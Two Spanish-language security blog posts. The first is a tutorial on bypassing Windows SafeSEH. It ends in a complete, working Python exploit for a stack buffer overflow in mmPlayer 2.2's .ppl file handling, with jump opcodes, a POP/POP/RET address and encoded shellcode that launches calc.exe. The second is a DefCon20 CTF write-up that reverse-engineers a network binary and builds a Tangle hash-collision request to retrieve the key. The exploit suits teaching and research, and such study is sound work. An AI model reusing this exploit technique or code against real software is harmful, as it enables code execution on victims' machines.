domingo, 24 de junio de 2012

Bypass SafeSEH - (Exploit para mmPlayer 2.2)

Después de ver cómo era posible la ejecución de código en un Sistema Operativo Windows mediante la vulnerabilidad Stack Buffer Overflow, todo no iba a ser tan sencillo, y empezaron a aparecer protecciones que nos complican, en ocasiones bastante, la tarea de explotar una vulnerabilidad.

Structured Excetion Handling (SEH)

De una manera rápida, SEH es el mecanismo utilizado para manejar las excepciones provocadas por una aplicación en el sistema operativo Windows, o lo que seguro os sonará más, la implementación de las funciones try/catch en el código fuente.

La implementación de esta protección es muy sencilla, se trata de una estructura de “N” (número de excepciones a manejar) excepciones de las cuales cada una de ellas están formadas por dos punteros (Next_Handler y Handler).

De este modo, cuando una excepción sea manejada, la aplicación irá saltando de manejador en manejador hasta localizar el correcto, y en caso de no ser hallado, se aplicará la excepción por defecto localizada en el registro 0xFFFFFFFF.

image

SEH por si sola no conlleva ninguna protección, ya que si sobrescribimos el puntero “Handler_N()” con una dirección que apunte a nuestra ShellCode, de nuevo habremos conseguido ejecutar código.

SafeSEH

En Windows XP SP2 y Windows Server 2003 se añadió la protección de memoria SafeSEH, la cual impide en gran medida la ejecución de código a través de SEH. Si esta protección se encuentra habilitada en un módulo, únicamente es posible utilizar como manejadores las direcciones almacenadas anteriormente en una lista. De este modo, no es posible sobrescribir la posición donde se encuentra “Handler_N()” ya que posteriormente se verificara si existe en la tabla indicada.

Nota: Para hacer más real el ejemplo de evasión de la protección SafeSEH, se realizarán las pruebas con la aplicación mmPlayer en su versión 2.2, la cual sufre de una vulnerabilidad Stack Buffer Overflow a la hora de procesar los ficheros “.ppl”.

Enlace de descarga: [mmPlayer 2.2]
MD5 (exe): c07b16b62a459718886b57c8cb6905c4
SHA1 (exe): caff7aef83438475d985c1305ef070f26393ef62

Evadiendo SafeSEH

Debido a que SafeSEH se aplica módulo a módulo, es posible localizar aplicaciones que dispongan de dicha protección pero sus módulos enlazados no dispongan ella, por lo que, podríamos aprovecharnos de esta falta de seguridad para evadir la protección.

Nuestro objetivo podemos centrarlo en cuatro partes:

image

  1. Hacer que nuestro código sufra una excepción, para que éste se dirija al manejador de excepciones.
  2. Sobrescribir la dirección de nuestro Handler_1() por una de un módulo que no tenga habilitada la protección SafeSEH.
  3. Saltamos del módulo sin SafeSEH al Next_Handler() sobrescrito anteriormente por nosotros.
  4. Saltamos de la dirección sobrescrita del Next_Handler() a nuestra ShellCode.

1) Forzando la excepción

Para forzar la aplicación a que sufra una excepción, generamos un fichero con el formato “ppl” y el buffer que explote la vulnerabilidad.

# Buffer 
Buffer = "X" * 5000
NSEH = ""
SEH = ""

Si generamos el fichero y lo abrimos con la aplicación mmPlayer mientras la debuggeamos, podemos observar como se genera una excepción, y al visualizar la “SEH Chain” antes de pasar la excepción, obtendremos el siguiente resultado:

image

Si os fijáis hemos sobrescrito el “Handler()” con la cadena “58585858” que concuerda con el buffer de “X” (58 en hex) del exploit. Para obtener la posición de estas cadenas utilizaremos la herramienta pattern_create.rb de metasploit, sustituyendo el buffer por el generado por la herramienta.

image

Podemos observar como se ha modificado el valor por “31684630”, buscamos el offset mediante la herramienta pattern_offset.rb y nos devuelve la posición 4112, por lo que ya sabemos el byte exacto de la dirección del “Handler()”

2) Salto a nuestro módulo sin protección

Para realizar este paso, es necesario obtener un módulo enlazado en el binario que no disponga de la protección SafeSEH, para esto utilizaremos Mona.py (evolución de pvefindaddr.py).

Mona.py es un PyCommand para Immunity Debugger desarrollado por el equipo de Corelan, que facilita en gran medida la tarea de desarrollo de exploits.

Mona.py dispone del comando “!mona nosafeseh” que busca en los módulos enlazados del binario cual no dispone de la protección SafeSEH.

image

En la captura se puede observar como el propio ejecutable MMPlayer.exe no dispone de la protección SafeSEH, por lo que, no hace falta irse a ningún modulo enlazado, nos aprovechamos directamente de él.

Nota: En caso de que el propio binario tuviera habilitada la protección SafeSEH, tendríamos que buscar en sus librerías enlazadas.

3) Salto a nuestro Next_Handler()

Es importante saber que al manejar una excepción llamando a la función Exception_Handler_N(), ésta es construida pasándole cuatro parámetros, entre los cuales, en segunda posición, nos encontramos con el puntero Next_Handler_N(), que también disponemos de su control al poder sobrescribirlo.

Para esto modificamos el exploit y observamos que pasa en el código:

# Buffer 
Buffer = "X" * 4108
NSEH = "\x41" * 4
SEH = "\x42" * 4
PADDING = "\x90" * 100
# Payload
payload = Buffer + NSEH + SEH + PADDING

En la primera captura se puede observar como al llamar a la función Exception_Handler_N(), hemos pasado por parámetros el puntero del Next_Handler_N(), ambos controlados por nosotros.

image

Lo que se ha de hacer, es substituir la dirección Exception_Handler_N() por un conjunto de instrucciones POP/POP/RET del propio ejecutable que no dispone de la protección SafeSEH. De este modo, al procesar el conjunto de instrucciones, eliminara las dos primeras direcciones de la PILA y ejecutará mediante la instrucción RET la tercera, que casualmente es la dirección que Next_Handler_N() que podemos sobrescribir.

image

Par la búsqueda del conjunto de instrucciones POP/POP/RET, podemos utilizar Mona.py ejecutando el siguiente comando “!mona seh”, posteriormente visualizamos el fichero de log generado “seh.txt” situado en el directorio raíz de immunity debugger.

image

Con esto ya disponemos de una dirección para añadirla a nuestro exploit.

Nota: Lo ideal sería que la dirección escogida no disponga de ningún byte que permita finalizar cadenas, tales como “\x00”, “\x0a”, “\x0d”.

4) Salto a nuestra ShellCode

En un principio, lo que nos quedaría hacer es sustituir la dirección del Next_Handler_N() con el siguiente valor “0x909006eb”, el cual realiza un salto a dos posiciones por debajo suya, por lo que hubiéramos llegado al código de nuestra ShellCode y esta se ejecutaría.

El primer problema viene al tener que utilizar una dirección de POP/POP/RET que contiene el byte “\x00”, el cual hace que se termine la cadena y no podamos añadir nuestra ShellCode posteriormente. La única solución que nos queda es realizar un salto hacia atrás.

El segundo problema viene al solo disponer de 4 bytes (dirección Next_Handler_N()) para realizar el salto negativo, los cuales únicamente nos permiten realizar un salto de -128, por lo que, va a ser necesario realizar un salto doble, el primer salto a una posición anterior el cual contenga la instrucción para realizar un salto mayor ya con 5 bytes, y el segundo directo a la ShellCode.

Por lo que nuestro exploit cambiaría un poco:

image

Para hacer un salto negativo a la instrucción anterior (paso 4) únicamente necesitaremos substituir la dirección del Next_Handler_N() por el valor “0x9090F9EB”, quedando el código del exploit del siguiente modo.

 
...
# SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)
...

5) Salto negativo de 5 bytes a nuestra ShellCode

Por último, solo nos queda realizar un salto negativo al inicio de nuestro buffer, para realizar este tipo de saltos utilizaremos el opcode E9 que permite realizar saltos de 32bits.

...
#JUMP
BIG_JUMP = "\xE9\xF4\xEF\xFF\xFF" # BIG JUMP (5BYTES)
# SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)
...

Ahora solo nos queda reordenar los valores del exploit y añadir la ShellCode, dando como resultado el siguiente código:

'''
Title: mmPlayer 2.2 Stack Buffer Overflow (SEH)
Author: Daniel Romero Perez (@daniel_rome)
Tested on: Windows XP SP3 (ES) / Windows 7 SP1 (ES)
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/52698/info
'''

import os

# NOPS
NOPS = "\x90" * 50

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

#PADDING
PADDING = "\x90" * 3826

#JUMP
BIG_JUMP = "\xE9\xF4\xEF\xFF\xFF" # BIG JUMP (5BYTES)

#SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)

# Payload
payload = NOPS + ShellCode + PADDING + BIG_JUMP + NSEH_JUMP + SEH

# Create File
file = open("exploit.ppl", "wb")
file.write(payload)
file.close()

print ("Your file has been generated successfully!!")

Tenéis disponible el exploit en el siguiente enlace: [exploit_mmplayer_2-2.py]

Si ejecutamos la aplicación y abrimos el fichero generado… LISTO!! Tenemos nuestro exploit que evade SafeSEH y que nos consigue calculadora ;)

image

Podemos ver un ejemplo de lo que se está realizando en código en la siguiente captura.

image

Un Saludo!!

Referencias:

- http://grey-corner.blogspot.com.es/2010/01/seh-stack-based-windows-buffer-overflow.html
- https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-par

sábado, 9 de junio de 2012

[Crackme] - DefCon20: Binary l33tness 200

Después de un largo fin de semana participando en el CTF de la DefCon20, y de volverme/nos prácticamente locos con el binario 200 de las pruebas, me gustaría explicar cómo se resuelve el mismo.

Antes de nada, me gustaría agradecer a la panda de “degenerados” que me han acompañado durante el fin de semana, Manu “The Sur”, Francisco Oca, Alberto García y Juan Garrido “Silverhack”. Ha sido un autentico placer pasar un fin de semana rodeado de hombres :P, fuera de coñas, muchas gracias!!

La prueba nos daba un binario y nos decía que el mismo se encontraba corriendo en cierta dirección IP y puerto, por lo que nos toca hacer ingeniería inversa del binario para ver que nos está pidiendo.

1) Identificación del binario:

Antes de nada nos interesa saber información sobre el binario, por lo que extraemos información del mismo mediante el comando file.

image

Se puede observar como el binario se encuentra en formato ELF y compilado para FreeBSD 9.0 de 32 bits.

2) Conexiones de red:

Si empezamos a realizar ingeniería inversa sobre el binario, una de las principales funciones que nos podemos encontrar al inicio del mismo es la apertura de una conexión a la escucha en el puerto 18703.

image

3) Llamadas al sistema:

Acto seguido podemos encontrarnos la función getpwnam(), la cual realiza una llamada al sistema preguntando por el fichero de cuentas de usuario, en nuestro caso, un usuario en concreto. Dicho usuario se le pasa mediante parámetros a la función tal y como se puede observar en código.

image

En este caso el usuario por el cual pide es “grease”, lógicamente no disponemos de este usuario en nuestro sistema, por lo que deberemos crearlo.

Una vez creado el usuario con sus respectivas características la función getpwnam(),devolverá una estructura similar a la siguiente.

image

Si proseguimos con las siguientes instrucciones podemos observar como realiza distintas llamadas preguntando por características del usuario.

image

Acto seguido el propio binario pasa a ser ejecutado como el usuario “grease”, a través de las llamadas a sistema que está realizando.

image

En un principio todo parece correcto y el binario prosigue con normalidad.

NOTA: Debido a que el binario está haciendo llamadas al sistema que requieren de privilegios, es necesario ejecutar el binario mediante el usuario root.

4) Creación de hilos

Una vez realizado las llamadas anteriores, se puede observar en el código como se está realizando un fork() por cada una de las conexiones que se reciben.

image

Para proseguir con el reto deberemos realizar conexiones contra el binario para que este vaya creando forks y los podamos debuggear.

5) Protecciones contra debugging

En las primeras líneas de código del fork nos encontrarnos con la función alarm(),que se le pasa un valor de “0xF” segundos, y será la encargada de pasado estos segundo finalizar el programa.

image

NOTA: Esto es debido a la función signal() inicializada al principio del binario.

Un modo sencillo de evadir esta protección, es modificando los opcodes que llaman a la función alarm() por NOPs en el binario o saltándonos la instrucción modificando el EIP por una instrucción posterior, antes de ser ejecutada.

6) Comparación de cadenas

Si se prosigue con el análisis del binario, llegamos a una serie de comparaciones precedidas de la función recv() en cada una de ellas, por lo que ya tenemos los primeros datos que deberemos enviar al binario.

image

Por lo que, podríamos generar nuestra petición con el siguiente código:

request = "\x94\xa4\xc2\x65" + "\xFE\x73\x2D\x6F" + "\xEE\xF8\x14\xCB" + "\x6E\xC8\xA1\x26"

7) Algoritmo de “cifrado”

Si continuamos con el código, se puede observar como se el binario está recibiendo cuatro bytes más y realizando una comparación para detectar si el valor recibido es menor o igual a “0x400”.

image

Las funciones que se realizan después de dicha comparación son:

1. Reserva en memoria dos punteros con el tamaño indicado.

image

2. Recibe mediante el parámetro recv() una cadena igual al tamaño indicado y lo almacena en el primer puntero reservado.

image

3. Recibe mediante el parámetro recv() una cadena igual al tamaño indicado y lo almacena en el segundo puntero reservado.

image

4. Compara que ambos buffer recibidos son distintos

image

5. Realiza una especie de “algoritmo de cifrado” con cada uno de los buffers recibidos.

image

6. Compara que ambos resultados de los “algoritmos de cifrado” de los buffer son iguales.

image

7. En caso de que los resultados sean iguales proseguimos con el binario, de lo contrario, nos devuelve el mensaje “sorry” y se cierra la conexión.

image

Está claro que la clave de la solución se encuentra en el “algoritmo de cifrado”, si visualizamos el mismo, podemos observar una gran cantidad de funciones y operaciones matemáticas muy complicadas de debuggear y que podría llevarnos días y días sin llegar a conseguir un resultado claro.

¿Y cómo conseguimos que dos buffers que son distintos, al realizar dicho “algoritmo de cifrado” nos devuelva el mismo resultado?

La solución a esta pregunta podemos encontrarla en el inicio del algoritmo, donde se están declarando una serie de variables.

image

Si buscamos una de estas variables de inicialización en google, obtenemos el siguiente resultado:

image

Parece que nuestro “algoritmo de cifrado”, es en realidad una función de hash llamada Tangle.

Por lo que, lo que estamos buscando es una colisión de la función de hash Tangle. Si buscamos un poco por internet podemos localizar un enlace, donde se encuentra un estudio sobre colisiones en la función de hash Tangle, y una aplicación desarrolla para localizarlos.

Si compilamos la aplicación (son necesarias las cabeceras de la implementación del hash Tangle), podemos observar como en muy poco tiempo localizamos una colisión del hash.

image

Por lo que, ya podemos modificar el código al siguiente:

request = "\x94\xa4\xc2\x65" + "\xFE\x73\x2D\x6F" + "\xEE\xF8\x14\xCB" + "\x6E\xC8\xA1\x26" # Variables Compared
request += "\x28\x00\x00\x00" # Buffers Size
request += "\xc8\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
request += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Collision 1
request += "\xc8\x19\x00\x80\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
request += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80" # Collision 2

8) Obtención de la clave

Con el envío de la petición anterior conseguimos todos los requisitos demandados, y si proseguimos nos encontraremos con el siguiente código.

image

Como se puede observar, la aplicación está abriendo en modo lectura un fichero llamado “key”, para posteriormente enviárnoslo a nosotros mediante la función send().

NOTA: Debido a que el reto ya está cerrado, se ha creado el fichero “key” en el sistema local en el directorio ”/usr/home/grease”, simulando así el escenario real.

Por último, solo nos queda enviar la petición contra el servidor para verificar que todo a ha funcionado correctamente y obtener la “key” que nos hará pasarnos el reto bin200 de la DefCon20.

image

Os dejo la implementación del script_bin200.py generado para la resolución del reto.

Un Saludo!!